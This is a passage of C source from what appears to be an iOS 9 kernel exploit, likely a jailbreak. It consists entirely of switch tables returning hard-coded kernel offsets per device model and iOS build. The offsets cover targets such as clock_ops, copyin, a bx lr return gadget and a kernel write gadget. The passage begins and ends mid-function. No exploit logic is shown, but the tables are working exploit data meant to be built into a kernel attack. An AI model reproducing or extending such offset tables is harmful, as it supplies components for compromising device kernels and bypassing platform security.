        case iPad33_iOS932: return 0x1e170;
        case iPad33_iOS933: return 0x1e200;
        case iPad33_iOS934: return 0x1e200;
        case iPad34_iOS910: return 0x1e76c;
        case iPad34_iOS920: return 0x1ebac;
        case iPad34_iOS921: return 0x1eb88;
        case iPad34_iOS930: return 0x1ee6c;
        case iPad34_iOS931: return 0x1ee6c;
        case iPad34_iOS932: return 0x1ee6c;
        case iPad34_iOS933: return 0x1eeac;
        case iPad34_iOS934: return 0x1eeac;
        case iPad35_iOS910: return 0x1e76c;
        case iPad35_iOS920: return 0x1ebac;
        case iPad35_iOS921: return 0x1eb88;
        case iPad35_iOS930: return 0x1ee6c;
        case iPad35_iOS931: return 0x1ee6c;
        case iPad35_iOS932: return 0x1ee6c;
        case iPad35_iOS933: return 0x1eeac;
        case iPad35_iOS934: return 0x1eeac;
        case iPad36_iOS910: return 0x1e76c;
        case iPad36_iOS920: return 0x1ebac;
        case iPad36_iOS921: return 0x1eb88;
        case iPad36_iOS930: return 0x1ee6c;
        case iPad36_iOS931: return 0x1ee6c;
        case iPad36_iOS932: return 0x1ee6c;
        case iPad36_iOS933: return 0x1eeac;
        case iPad36_iOS934: return 0x1eeac;
        case iPod51_iOS910: return 0x1db34;
        case iPod51_iOS920: return 0x1de84;
        case iPod51_iOS921: return 0x1de60;
        case iPod51_iOS930: return 0x1e170;
        case iPod51_iOS931: return 0x1e170;
        case iPod51_iOS932: return 0x1e170;
        case iPod51_iOS933: return 0x1e200;
        case iPod51_iOS934: return 0x1e200;
        default: return 0;
    }
}

static inline unsigned int find_bufattr_cpx(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0xd97d0;
        case iPhone41_iOS910: return 0xd97d0;
        case iPhone41_iOS920: return 0xd8750;
        case iPhone41_iOS921: return 0xd8750;
        case iPhone41_iOS930: return 0xd9848;
        case iPhone41_iOS931: return 0xd9848;
        case iPhone41_iOS932: return 0xd9848;
        case iPhone41_iOS933: return 0xd9838;
        case iPhone41_iOS934: return 0xd9838;
        case iPhone51_iOS910: return 0xde9fc;
        case iPhone51_iOS920: return 0xdd9dc;
        case iPhone51_iOS921: return 0xdd9dc;
        case iPhone51_iOS930: return 0xdea48;
        case iPhone51_iOS931: return 0xdea48;
        case iPhone51_iOS932: return 0xdea48;
        case iPhone51_iOS933: return 0xdea48;
        case iPhone51_iOS934: return 0xdea48;
        case iPhone52_iOS902: return 0xde9fc;
        case iPhone52_iOS910: return 0xde9fc;
        case iPhone52_iOS920: return 0xdd9dc;
        case iPhone52_iOS921: return 0xdd9dc;
        case iPhone52_iOS930: return 0xdea48;
        case iPhone52_iOS931: return 0xdea48;
        case iPhone52_iOS932: return 0xdea48;
        case iPhone52_iOS933: return 0xdea48;
        case iPhone52_iOS934: return 0xdea48;
        case iPhone53_iOS910: return 0xde9fc;
        case iPhone53_iOS920: return 0xdd9dc;
        case iPhone53_iOS921: return 0xdd9dc;
        case iPhone53_iOS930: return 0xdea48;
        case iPhone53_iOS931: return 0xdea48;
        case iPhone53_iOS932: return 0xdea48;
        case iPhone53_iOS933: return 0xdea48;
        case iPhone53_iOS934: return 0xdea48;
        case iPhone54_iOS910: return 0xde9fc;
        case iPhone54_iOS920: return 0xdd9dc;
        case iPhone54_iOS921: return 0xdd9dc;
        case iPhone54_iOS930: return 0xdea48;
        case iPhone54_iOS931: return 0xdea48;
        case iPhone54_iOS932: return 0xdea48;
        case iPhone54_iOS933: return 0xdea48;
        case iPhone54_iOS934: return 0xdea48;
        case iPad21_iOS910: return 0xd97d0;
        case iPad21_iOS920: return 0xd8750;
        case iPad21_iOS921: return 0xd8750;
        case iPad21_iOS930: return 0xd9848;
        case iPad21_iOS931: return 0xd9848;
        case iPad21_iOS932: return 0xd9848;
        case iPad21_iOS933: return 0xd9838;
        case iPad21_iOS934: return 0xd9838;
        case iPad22_iOS910: return 0xd97d0;
        case iPad22_iOS920: return 0xd8750;
        case iPad22_iOS921: return 0xd8750;
        case iPad22_iOS930: return 0xd9848;
        case iPad22_iOS931: return 0xd9848;
        case iPad22_iOS932: return 0xd9848;
        case iPad22_iOS933: return 0xd9838;
        case iPad22_iOS934: return 0xd9838;
        case iPad23_iOS910: return 0xd97d0;
        case iPad23_iOS920: return 0xd8750;
        case iPad23_iOS921: return 0xd8750;
        case iPad23_iOS930: return 0xd9848;
        case iPad23_iOS931: return 0xd9848;
        case iPad23_iOS932: return 0xd9848;
        case iPad23_iOS933: return 0xd9838;
        case iPad23_iOS934: return 0xd9838;
        case iPad24_iOS910: return 0xd97d0;
        case iPad24_iOS920: return 0xd8750;
        case iPad24_iOS921: return 0xd8750;
        case iPad24_iOS930: return 0xd9848;
        case iPad24_iOS932: return 0xd9848;
        case iPad24_iOS933: return 0xd9838;
        case iPad24_iOS934: return 0xd9838;
        case iPad25_iOS902: return 0xd97d0;
        case iPad31_iOS910: return 0xd97d0;
        case iPad31_iOS920: return 0xd8750;
        case iPad31_iOS921: return 0xd8750;
        case iPad31_iOS930: return 0xd9848;
        case iPad31_iOS931: return 0xd9848;
        case iPad31_iOS932: return 0xd9848;
        case iPad31_iOS933: return 0xd9838;
        case iPad31_iOS934: return 0xd9838;
        case iPad32_iOS910: return 0xd97d0;
        case iPad32_iOS920: return 0xd8750;
        case iPad32_iOS921: return 0xd8750;
        case iPad32_iOS930: return 0xd9848;
        case iPad32_iOS931: return 0xd9848;
        case iPad32_iOS932: return 0xd9848;
        case iPad32_iOS933: return 0xd9838;
        case iPad32_iOS934: return 0xd9838;
        case iPad33_iOS902: return 0xd97d0;
        case iPad33_iOS910: return 0xd97d0;
        case iPad33_iOS920: return 0xd8750;
        case iPad33_iOS921: return 0xd8750;
        case iPad33_iOS930: return 0xd9848;
        case iPad33_iOS931: return 0xd9848;
        case iPad33_iOS932: return 0xd9848;
        case iPad33_iOS933: return 0xd9838;
        case iPad33_iOS934: return 0xd9838;
        case iPad34_iOS910: return 0xde9fc;
        case iPad34_iOS920: return 0xdd9dc;
        case iPad34_iOS921: return 0xdd9dc;
        case iPad34_iOS930: return 0xdea48;
        case iPad34_iOS931: return 0xdea48;
        case iPad34_iOS932: return 0xdea48;
        case iPad34_iOS933: return 0xdea48;
        case iPad34_iOS934: return 0xdea48;
        case iPad35_iOS910: return 0xde9fc;
        case iPad35_iOS920: return 0xdd9dc;
        case iPad35_iOS921: return 0xdd9dc;
        case iPad35_iOS930: return 0xdea48;
        case iPad35_iOS931: return 0xdea48;
        case iPad35_iOS932: return 0xdea48;
        case iPad35_iOS933: return 0xdea48;
        case iPad35_iOS934: return 0xdea48;
        case iPad36_iOS910: return 0xde9fc;
        case iPad36_iOS920: return 0xdd9dc;
        case iPad36_iOS921: return 0xdd9dc;
        case iPad36_iOS930: return 0xdea48;
        case iPad36_iOS931: return 0xdea48;
        case iPad36_iOS932: return 0xdea48;
        case iPad36_iOS933: return 0xdea48;
        case iPad36_iOS934: return 0xdea48;
        case iPod51_iOS910: return 0xd97d0;
        case iPod51_iOS920: return 0xd8750;
        case iPod51_iOS921: return 0xd8750;
        case iPod51_iOS930: return 0xd9848;
        case iPod51_iOS931: return 0xd9848;
        case iPod51_iOS932: return 0xd9848;
        case iPod51_iOS933: return 0xd9838;
        case iPod51_iOS934: return 0xd9838;
        default: return 0;
    }
}

static inline unsigned int find_clock_ops(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x4043cc;
        case iPhone41_iOS910: return 0x4053cc;
        case iPhone41_iOS920: return 0x3fc3dc;
        case iPhone41_iOS921: return 0x3fc3dc;
        case iPhone41_iOS930: return 0x403428;
        case iPhone41_iOS931: return 0x403428;
        case iPhone41_iOS932: return 0x403428;
        case iPhone41_iOS933: return 0x403428;
        case iPhone41_iOS934: return 0x403428;
        case iPhone51_iOS910: return 0x40c5a0;
        case iPhone51_iOS920: return 0x4033dc;
        case iPhone51_iOS921: return 0x4033dc;
        case iPhone51_iOS930: return 0x403428;
        case iPhone51_iOS931: return 0x40b428;
        case iPhone51_iOS932: return 0x40b428;
        case iPhone51_iOS933: return 0x40b428;
        case iPhone51_iOS934: return 0x40b428;
        case iPhone52_iOS902: return 0x40a3cc;
        case iPhone52_iOS910: return 0x40c5a0;
        case iPhone52_iOS920: return 0x4033dc;
        case iPhone52_iOS921: return 0x4033dc;
        case iPhone52_iOS930: return 0x403428;
        case iPhone52_iOS931: return 0x40b428;
        case iPhone52_iOS932: return 0x40b428;
        case iPhone52_iOS933: return 0x40b428;
        case iPhone52_iOS934: return 0x40b428;
        case iPhone53_iOS910: return 0x40c5a0;
        case iPhone53_iOS920: return 0x4033dc;
        case iPhone53_iOS921: return 0x4033dc;
        case iPhone53_iOS930: return 0x403428;
        case iPhone53_iOS931: return 0x40b428;
        case iPhone53_iOS932: return 0x40b428;
        case iPhone53_iOS933: return 0x40b428;
        case iPhone53_iOS934: return 0x40b428;
        case iPhone54_iOS910: return 0x40c5a0;
        case iPhone54_iOS920: return 0x4035a0;
        case iPhone54_iOS921: return 0x4035a0;
        case iPhone54_iOS930: return 0x403428;
        case iPhone54_iOS931: return 0x40b428;
        case iPhone54_iOS932: return 0x40b428;
        case iPhone54_iOS933: return 0x40b428;
        case iPhone54_iOS934: return 0x40b428;
        case iPad21_iOS910: return 0x4053cc;
        case iPad21_iOS920: return 0x3fc3dc;
        case iPad21_iOS921: return 0x3fc3dc;
        case iPad21_iOS930: return 0x403428;
        case iPad21_iOS931: return 0x403428;
        case iPad21_iOS932: return 0x403428;
        case iPad21_iOS933: return 0x403428;
        case iPad21_iOS934: return 0x403428;
        case iPad22_iOS910: return 0x4053cc;
        case iPad22_iOS920: return 0x3fc3dc;
        case iPad22_iOS921: return 0x3fc3dc;
        case iPad22_iOS930: return 0x403428;
        case iPad22_iOS931: return 0x403428;
        case iPad22_iOS932: return 0x403428;
        case iPad22_iOS933: return 0x403428;
        case iPad22_iOS934: return 0x403428;
        case iPad23_iOS910: return 0x4053cc;
        case iPad23_iOS920: return 0x3fc3dc;
        case iPad23_iOS921: return 0x2fc3dc;
        case iPad23_iOS930: return 0x403428;
        case iPad23_iOS931: return 0x403428;
        case iPad23_iOS932: return 0x403428;
        case iPad23_iOS933: return 0x403428;
        case iPad23_iOS934: return 0x403428;
        case iPad24_iOS910: return 0x4053cc;
        case iPad24_iOS920: return 0x3fc3dc;
        case iPad24_iOS921: return 0x2fc3dc;
        case iPad24_iOS930: return 0x403428;
        case iPad24_iOS931: return 0x403428;
        case iPad24_iOS932: return 0x403428;
        case iPad24_iOS933: return 0x403428;
        case iPad24_iOS934: return 0x403428;
        case iPad25_iOS902: return 0x4043c0;
        case iPad31_iOS910: return 0x4053cc;
        case iPad31_iOS920: return 0x3fc3dc;
        case iPad31_iOS921: return 0x3fc3dc;
        case iPad31_iOS930: return 0x403428;
        case iPad31_iOS931: return 0x403428;
        case iPad31_iOS932: return 0x403428;
        case iPad31_iOS933: return 0x403428;
        case iPad31_iOS934: return 0x403428;
        case iPad32_iOS910: return 0x4053cc;
        case iPad32_iOS920: return 0x3fc3dc;
        case iPad32_iOS921: return 0x3fc3dc;
        case iPad32_iOS930: return 0x403428;
        case iPad32_iOS931: return 0x403428;
        case iPad32_iOS932: return 0x403428;
        case iPad32_iOS933: return 0x403428;
        case iPad32_iOS934: return 0x403428;
        case iPad33_iOS902: return 0x4043c0;
        case iPad33_iOS910: return 0x4053cc;
        case iPad33_iOS920: return 0x3fc3dc;
        case iPad33_iOS921: return 0x3fc3dc;
        case iPad33_iOS930: return 0x403428;
        case iPad33_iOS931: return 0x403428;
        case iPad33_iOS932: return 0x403428;
        case iPad33_iOS933: return 0x403428;
        case iPad33_iOS934: return 0x403428;
        case iPad34_iOS910: return 0x40c3cc;
        case iPad34_iOS920: return 0x4033dc;
        case iPad34_iOS921: return 0x4033dc;
        case iPad34_iOS930: return 0x403428;
        case iPad34_iOS931: return 0x40b428;
        case iPad34_iOS932: return 0x40b428;
        case iPad34_iOS933: return 0x40b428;
        case iPad34_iOS934: return 0x40b428;
        case iPad35_iOS910: return 0x40c3cc;
        case iPad35_iOS920: return 0x4033dc;
        case iPad35_iOS921: return 0x4033dc;
        case iPad35_iOS930: return 0x403428;
        case iPad35_iOS931: return 0x40b428;
        case iPad35_iOS932: return 0x40b428;
        case iPad35_iOS933: return 0x40b428;
        case iPad35_iOS934: return 0x40b428;
        case iPad36_iOS910: return 0x40c3cc;
        case iPad36_iOS920: return 0x4033dc;
        case iPad36_iOS921: return 0x4033dc;
        case iPad36_iOS930: return 0x403428;
        case iPad36_iOS931: return 0x40b428;
        case iPad36_iOS932: return 0x40b428;
        case iPad36_iOS933: return 0x40b428;
        case iPad36_iOS934: return 0x40b428;
        case iPod51_iOS910: return 0x4053cc;
        case iPod51_iOS920: return 0x3fc3dc;
        case iPod51_iOS921: return 0x3fc3dc;
        case iPod51_iOS930: return 0x403428;
        case iPod51_iOS931: return 0x403428;
        case iPod51_iOS932: return 0x403428;
        case iPod51_iOS933: return 0x403428;
        case iPod51_iOS934: return 0x403428;
        default: return 0;
    }
}

static inline unsigned int find_copyin(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0xc7754;
        case iPhone41_iOS910: return 0xc7754;
        case iPhone41_iOS920: return 0xc6754;
        case iPhone41_iOS921: return 0xc6754;
        case iPhone41_iOS930: return 0xc76b4;
        case iPhone41_iOS931: return 0xc76b4;
        case iPhone41_iOS932: return 0xc76b4;
        case iPhone41_iOS933: return 0xc76b4;
        case iPhone41_iOS934: return 0xc76b4;
        case iPhone51_iOS910: return 0xcb87c;
        case iPhone51_iOS920: return 0xca87c;
        case iPhone51_iOS921: return 0xca87c;
        case iPhone51_iOS930: return 0xcb7dc;
        case iPhone51_iOS931: return 0xcb7dc;
        case iPhone51_iOS932: return 0xcb7dc;
        case iPhone51_iOS933: return 0xcb7dc;
        case iPhone51_iOS934: return 0xcb7dc;
        case iPhone52_iOS902: return 0xcb87c;
        case iPhone52_iOS910: return 0xcb87c;
        case iPhone52_iOS920: return 0xca87c;
        case iPhone52_iOS921: return 0xca87c;
        case iPhone52_iOS930: return 0xcb7dc;
        case iPhone52_iOS931: return 0xcb7dc;
        case iPhone52_iOS932: return 0xcb7dc;
        case iPhone52_iOS933: return 0xcb7dc;
        case iPhone52_iOS934: return 0xcb7dc;
        case iPhone53_iOS910: return 0xcb87c;
        case iPhone53_iOS920: return 0xca87c;
        case iPhone53_iOS921: return 0xca87c;
        case iPhone53_iOS930: return 0xcb7dc;
        case iPhone53_iOS931: return 0xcb7dc;
        case iPhone53_iOS932: return 0xcb7dc;
        case iPhone53_iOS933: return 0xcb7dc;
        case iPhone53_iOS934: return 0xcb7dc;
        case iPhone54_iOS910: return 0xcb87c;
        case iPhone54_iOS920: return 0xca87c;
        case iPhone54_iOS921: return 0xca87c;
        case iPhone54_iOS930: return 0xcb7dc;
        case iPhone54_iOS931: return 0xcb7dc;
        case iPhone54_iOS932: return 0xcb7dc;
        case iPhone54_iOS933: return 0xcb7dc;
        case iPhone54_iOS934: return 0xcb7dc;
        case iPad21_iOS910: return 0xc7754;
        case iPad21_iOS920: return 0xc6754;
        case iPad21_iOS921: return 0xc6754;
        case iPad21_iOS930: return 0xc76b4;
        case iPad21_iOS931: return 0xc76b4;
        case iPad21_iOS932: return 0xc76b4;
        case iPad21_iOS933: return 0xc76b4;
        case iPad21_iOS934: return 0xc76b4;
        case iPad22_iOS910: return 0xc7754;
        case iPad22_iOS920: return 0xc6754;
        case iPad22_iOS921: return 0xc6754;
        case iPad22_iOS930: return 0xc76b4;
        case iPad22_iOS931: return 0xc76b4;
        case iPad22_iOS932: return 0xc76b4;
        case iPad22_iOS933: return 0xc76b4;
        case iPad22_iOS934: return 0xc76b4;
        case iPad23_iOS910: return 0xc7754;
        case iPad23_iOS920: return 0xc6754;
        case iPad23_iOS921: return 0xc6754;
        case iPad23_iOS930: return 0xc76b4;
        case iPad23_iOS931: return 0xc76b4;
        case iPad23_iOS932: return 0xc76b4;
        case iPad23_iOS933: return 0xc76b4;
        case iPad23_iOS934: return 0xc76b4;
        case iPad24_iOS910: return 0xc7754;
        case iPad24_iOS920: return 0xc6754;
        case iPad24_iOS921: return 0xc6754;
        case iPad24_iOS930: return 0xc76b4;
        case iPad24_iOS931: return 0xc76b4;
        case iPad24_iOS932: return 0xc76b4;
        case iPad24_iOS933: return 0xc76b4;
        case iPad24_iOS934: return 0xc76b4;
        case iPad25_iOS902: return 0xc7754;
        case iPad31_iOS910: return 0xc7754;
        case iPad31_iOS920: return 0xc6754;
        case iPad31_iOS921: return 0xc6754;
        case iPad31_iOS930: return 0xc76b4;
        case iPad31_iOS931: return 0xc76b4;
        case iPad31_iOS932: return 0xc76b4;
        case iPad31_iOS933: return 0xc76b4;
        case iPad31_iOS934: return 0xc76b4;
        case iPad32_iOS910: return 0xc7754;
        case iPad32_iOS920: return 0xc6754;
        case iPad32_iOS921: return 0xc6754;
        case iPad32_iOS930: return 0xc76b4;
        case iPad32_iOS931: return 0xc76b4;
        case iPad32_iOS932: return 0xc76b4;
        case iPad32_iOS933: return 0xc76b4;
        case iPad32_iOS934: return 0xc76b4;
        case iPad33_iOS902: return 0xc7754;
        case iPad33_iOS910: return 0xc7754;
        case iPad33_iOS920: return 0xc6754;
        case iPad33_iOS921: return 0xc6754;
        case iPad33_iOS930: return 0xc76b4;
        case iPad33_iOS931: return 0xc76b4;
        case iPad33_iOS932: return 0xc76b4;
        case iPad33_iOS933: return 0xc76b4;
        case iPad33_iOS934: return 0xc76b4;
        case iPad34_iOS910: return 0xcb87c;
        case iPad34_iOS920: return 0xca87c;
        case iPad34_iOS921: return 0xca87c;
        case iPad34_iOS930: return 0xcb7dc;
        case iPad34_iOS931: return 0xcb7dc;
        case iPad34_iOS932: return 0xcb7dc;
        case iPad34_iOS933: return 0xcb7dc;
        case iPad34_iOS934: return 0xcb7dc;
        case iPad35_iOS910: return 0xcb87c;
        case iPad35_iOS920: return 0xca87c;
        case iPad35_iOS921: return 0xca87c;
        case iPad35_iOS930: return 0xcb7dc;
        case iPad35_iOS931: return 0xcb7dc;
        case iPad35_iOS932: return 0xcb7dc;
        case iPad35_iOS933: return 0xcb7dc;
        case iPad35_iOS934: return 0xcb7dc;
        case iPad36_iOS910: return 0xcb87c;
        case iPad36_iOS920: return 0xca87c;
        case iPad36_iOS921: return 0xca87c;
        case iPad36_iOS930: return 0xcb7dc;
        case iPad36_iOS931: return 0xcb7dc;
        case iPad36_iOS932: return 0xcb7dc;
        case iPad36_iOS933: return 0xcb7dc;
        case iPad36_iOS934: return 0xcb7dc;
        case iPod51_iOS910: return 0xc7754;
        case iPod51_iOS920: return 0xc6754;
        case iPod51_iOS921: return 0xc6754;
        case iPod51_iOS930: return 0xc76b4;
        case iPod51_iOS931: return 0xc76b4;
        case iPod51_iOS932: return 0xc76b4;
        case iPod51_iOS933: return 0xc76b4;
        case iPod51_iOS934: return 0xc76b4;
        default: return 0;
    }
}

static inline unsigned int find_bx_lr(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0xd97d2;
        case iPhone41_iOS910: return 0xd97d2;
        case iPhone41_iOS920: return 0xd8752;
        case iPhone41_iOS921: return 0xd8752;
        case iPhone41_iOS930: return 0xd984a;
        case iPhone41_iOS931: return 0xd984a;
        case iPhone41_iOS932: return 0xd984a;
        case iPhone41_iOS933: return 0xd983a;
        case iPhone41_iOS934: return 0xd983a;
        case iPhone51_iOS910: return 0xde9fe;
        case iPhone51_iOS920: return 0xdd9de;
        case iPhone51_iOS921: return 0xdd9de;
        case iPhone51_iOS930: return 0xdea4a;
        case iPhone51_iOS931: return 0xdea4a;
        case iPhone51_iOS932: return 0xdea4a;
        case iPhone51_iOS933: return 0xdea4a;
        case iPhone51_iOS934: return 0xdea4a;
        case iPhone52_iOS902: return 0xde9fe;
        case iPhone52_iOS910: return 0xde9fe;
        case iPhone52_iOS920: return 0xdd9de;
        case iPhone52_iOS921: return 0xdd9de;
        case iPhone52_iOS930: return 0xdea4a;
        case iPhone52_iOS931: return 0xdea4a;
        case iPhone52_iOS932: return 0xdea4a;
        case iPhone52_iOS933: return 0xdea4a;
        case iPhone52_iOS934: return 0xdea4a;
        case iPhone53_iOS910: return 0xde9fe;
        case iPhone53_iOS920: return 0xdd9de;
        case iPhone53_iOS921: return 0xdd9de;
        case iPhone53_iOS930: return 0xdea4a;
        case iPhone53_iOS931: return 0xdea4a;
        case iPhone53_iOS932: return 0xdea4a;
        case iPhone53_iOS933: return 0xdea4a;
        case iPhone53_iOS934: return 0xdea4a;
        case iPhone54_iOS910: return 0xde9fe;
        case iPhone54_iOS920: return 0xdd9de;
        case iPhone54_iOS921: return 0xdd9de;
        case iPhone54_iOS930: return 0xdea4a;
        case iPhone54_iOS931: return 0xdea4a;
        case iPhone54_iOS932: return 0xdea4a;
        case iPhone54_iOS933: return 0xdea4a;
        case iPhone54_iOS934: return 0xdea4a;
        case iPad21_iOS910: return 0xd97d2;
        case iPad21_iOS920: return 0xd8752;
        case iPad21_iOS921: return 0xd8752;
        case iPad21_iOS930: return 0xd984a;
        case iPad21_iOS931: return 0xd984a;
        case iPad21_iOS932: return 0xd984a;
        case iPad21_iOS933: return 0xd983a;
        case iPad21_iOS934: return 0xd983a;
        case iPad22_iOS910: return 0xd97d2;
        case iPad22_iOS920: return 0xd8752;
        case iPad22_iOS921: return 0xd8752;
        case iPad22_iOS930: return 0xd984a;
        case iPad22_iOS931: return 0xd984a;
        case iPad22_iOS932: return 0xd984a;
        case iPad22_iOS933: return 0xd983a;
        case iPad22_iOS934: return 0xd983a;
        case iPad23_iOS910: return 0xd97d2;
        case iPad23_iOS920: return 0xd8752;
        case iPad23_iOS921: return 0xd8752;
        case iPad23_iOS930: return 0xd984a;
        case iPad23_iOS931: return 0xd984a;
        case iPad23_iOS932: return 0xd984a;
        case iPad23_iOS933: return 0xd983a;
        case iPad23_iOS934: return 0xd983a;
        case iPad24_iOS910: return 0xd97d2;
        case iPad24_iOS920: return 0xd8752;
        case iPad24_iOS921: return 0xd8752;
        case iPad24_iOS930: return 0xd984a;
        case iPad24_iOS931: return 0xd984a;
        case iPad24_iOS932: return 0xd984a;
        case iPad24_iOS933: return 0xd983a;
        case iPad24_iOS934: return 0xd983a;
        case iPad25_iOS902: return 0xd97d2;
        case iPad31_iOS910: return 0xd97d2;
        case iPad31_iOS920: return 0xd8752;
        case iPad31_iOS921: return 0xd8752;
        case iPad31_iOS930: return 0xd984a;
        case iPad31_iOS931: return 0xd984a;
        case iPad31_iOS932: return 0xd984a;
        case iPad31_iOS933: return 0xd983a;
        case iPad31_iOS934: return 0xd983a;
        case iPad32_iOS910: return 0xd97d2;
        case iPad32_iOS920: return 0xd8752;
        case iPad32_iOS921: return 0xd8752;
        case iPad32_iOS930: return 0xd984a;
        case iPad32_iOS931: return 0xd984a;
        case iPad32_iOS932: return 0xd984a;
        case iPad32_iOS933: return 0xd983a;
        case iPad32_iOS934: return 0xd983a;
        case iPad33_iOS902: return 0xd97d2;
        case iPad33_iOS910: return 0xd97d2;
        case iPad33_iOS920: return 0xd8752;
        case iPad33_iOS921: return 0xd8752;
        case iPad33_iOS930: return 0xd984a;
        case iPad33_iOS931: return 0xd984a;
        case iPad33_iOS932: return 0xd984a;
        case iPad33_iOS933: return 0xd983a;
        case iPad33_iOS934: return 0xd983a;
        case iPad34_iOS910: return 0xde9fe;
        case iPad34_iOS920: return 0xdd9de;
        case iPad34_iOS921: return 0xdd9de;
        case iPad34_iOS930: return 0xdea4a;
        case iPad34_iOS931: return 0xdea4a;
        case iPad34_iOS932: return 0xdea4a;
        case iPad34_iOS933: return 0xdea4a;
        case iPad34_iOS934: return 0xdea4a;
        case iPad35_iOS910: return 0xde9fe;
        case iPad35_iOS920: return 0xdd9de;
        case iPad35_iOS921: return 0xdd9de;
        case iPad35_iOS930: return 0xdea4a;
        case iPad35_iOS931: return 0xdea4a;
        case iPad35_iOS932: return 0xdea4a;
        case iPad35_iOS933: return 0xdea4a;
        case iPad35_iOS934: return 0xdea4a;
        case iPad36_iOS910: return 0xde9fe;
        case iPad36_iOS920: return 0xdd9de;
        case iPad36_iOS921: return 0xdd9de;
        case iPad36_iOS930: return 0xdea4a;
        case iPad36_iOS931: return 0xdea4a;
        case iPad36_iOS932: return 0xdea4a;
        case iPad36_iOS933: return 0xdea4a;
        case iPad36_iOS934: return 0xdea4a;
        case iPod51_iOS910: return 0xd97d2;
        case iPod51_iOS920: return 0xd8752;
        case iPod51_iOS921: return 0xd8752;
        case iPod51_iOS930: return 0xd984a;
        case iPod51_iOS931: return 0xd984a;
        case iPod51_iOS932: return 0xd984a;
        case iPod51_iOS933: return 0xd983a;
        case iPod51_iOS934: return 0xd983a;
        default: return 0;
    }
}

static inline unsigned int find_write_gadget(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0xc7488;
        case iPhone41_iOS910: return 0xc7488;
        case iPhone41_iOS920: return 0xc6488;
        case iPhone41_iOS921: return 0xc6488;
        case iPhone41_iOS930: return 0xc73e8;
        case iPhone41_iOS931: return 0xc73e8;
        case iPhone41_iOS932: return 0xc73e8;
        case iPhone41_iOS933: return 0xc73e8;
        case iPhone41_iOS934: return 0xc73e8;
        case iPhone51_iOS910: return 0xcb5a8;
        case iPhone51_iOS920: return 0xca5a8;
        case iPhone51_iOS921: return 0xca5a8;
        case iPhone51_iOS930: return 0xcb508;
        case iPhone51_iOS931: return 0xcb508;
        case iPhone51_iOS932: return 0xcb508;
        case iPhone51_iOS933: return 0xcb508;
        case iPhone51_iOS934: return 0xcb508;
        case iPhone52_iOS902: return 0xcb5a8;
        case iPhone52_iOS910: return 0xcb5a8;
        case iPhone52_iOS920: return 0xca5a8;
        case iPhone52_iOS921: return 0xca5a8;
        case iPhone52_iOS930: return 0xcb508;
        case iPhone52_iOS931: return 0xcb508;
        case iPhone52_iOS932: return 0xcb508;
        case iPhone52_iOS933: return 0xcb508;
        case iPhone52_iOS934: return 0xcb508;
        case iPhone53_iOS910: return 0xcb5a8;
        case iPhone53_iOS920: return 0xca5a8;
        case iPhone53_iOS921: return 0xca5a8;
        case iPhone53_iOS930: return 0xcb508;
        case iPhone53_iOS931: return 0xcb508;
        case iPhone53_iOS932: return 0xcb508;
        case iPhone53_iOS933: return 0xcb508;
        case iPhone53_iOS934: return 0xcb508;
        case iPhone54_iOS910: return 0xcb5a8;
        case iPhone54_iOS920: return 0xca5a8;
        case iPhone54_iOS921: return 0xca5a8;
        case iPhone54_iOS930: return 0xcb508;
        case iPhone54_iOS931: return 0xcb508;
        case iPhone54_iOS932: return 0xcb508;
        case iPhone54_iOS933: return 0xcb508;
        case iPhone54_iOS934: return 0xcb508;
        case iPad21_iOS910: return 0xc7488;
        case iPad21_iOS920: return 0xc6488;
        case iPad21_iOS921: return 0xc6488;
        case iPad21_iOS930: return 0xc73e8;
        case iPad21_iOS931: return 0xc73e8;
        case iPad21_iOS932: return 0xc73e8;
        case iPad21_iOS933: return 0xc73e8;
        case iPad21_iOS934: return 0xc73e8;
        case iPad22_iOS910: return 0xc7488;
        case iPad22_iOS920: return 0xc6488;
        case iPad22_iOS921: return 0xc6488;
        case iPad22_iOS930: return 0xc73e8;
        case iPad22_iOS931: return 0xc73e8;
        case iPad22_iOS932: return 0xc73e8;
        case iPad22_iOS933: return 0xc73e8;
        case iPad22_iOS934: return 0xc73e8;
        case iPad23_iOS910: return 0xc7488;
        case iPad23_iOS920: return 0xc6488;
        case iPad23_iOS921: return 0xc6488;
        case iPad23_iOS930: return 0xc73e8;
        case iPad23_iOS931: return 0xc73e8;
        case iPad23_iOS932: return 0xc73e8;
        case iPad23_iOS933: return 0xc73e8;
        case iPad23_iOS934: return 0xc73e8;
        case iPad24_iOS910: return 0xc7488;
        case iPad24_iOS920: return 0xc6488;
        case iPad24_iOS921: return 0xc6488;
        case iPad24_iOS930: return 0xc73e8;
        case iPad24_iOS931: return 0xc73e8;
        case iPad24_iOS932: return 0xc73e8;
        case iPad24_iOS933: return 0xc73e8;
        case iPad24_iOS934: return 0xc73e8;
        case iPad25_iOS902: return 0xc7488;
        case iPad31_iOS910: return 0xc7488;
        case iPad31_iOS920: return 0xc6488;
        case iPad31_iOS921: return 0xc6488;
        case iPad31_iOS930: return 0xc73e8;
        case iPad31_iOS931: return 0xc73e8;
        case iPad31_iOS932: return 0xc73e8;
        case iPad31_iOS933: return 0xc73e8;
        case iPad31_iOS934: return 0xc73e8;
        case iPad32_iOS910: return 0xc7488;
        case iPad32_iOS920: return 0xc6488;
        case iPad32_iOS921: return 0xc6488;
        case iPad32_iOS930: return 0xc73e8;
        case iPad32_iOS931: return 0xc73e8;
        case iPad32_iOS932: return 0xc73e8;
        case iPad32_iOS933: return 0xc73e8;
        case iPad32_iOS934: return 0xc73e8;
        case iPad33_iOS902: return 0xc7488;
        case iPad33_iOS910: return 0xc7488;
        case iPad33_iOS920: return 0xc6488;
        case iPad33_iOS921: return 0xc6488;
        case iPad33_iOS930: return 0xc73e8;
        case iPad33_iOS931: return 0xc73e8;
        case iPad33_iOS932: return 0xc73e8;
        case iPad33_iOS933: return 0xc73e8;
        case iPad33_iOS934: return 0xc73e8;
        case iPad34_iOS910: return 0xcb5a8;
        case iPad34_iOS920: return 0xca5a8;
        case iPad34_iOS921: return 0xca5a8;
        case iPad34_iOS930: return 0xcb508;
        case iPad34_iOS931: return 0xcb508;
        case iPad34_iOS932: return 0xcb508;
        case iPad34_iOS933: return 0xcb508;
        case iPad34_iOS934: return 0xcb508;
        case iPad35_iOS910: return 0xcb5a8;
        case iPad35_iOS920: return 0xca5a8;
        case iPad35_iOS921: return 0xca5a8;
        case iPad35_iOS930: return 0xcb508;
        case iPad35_iOS931: return 0xcb508;
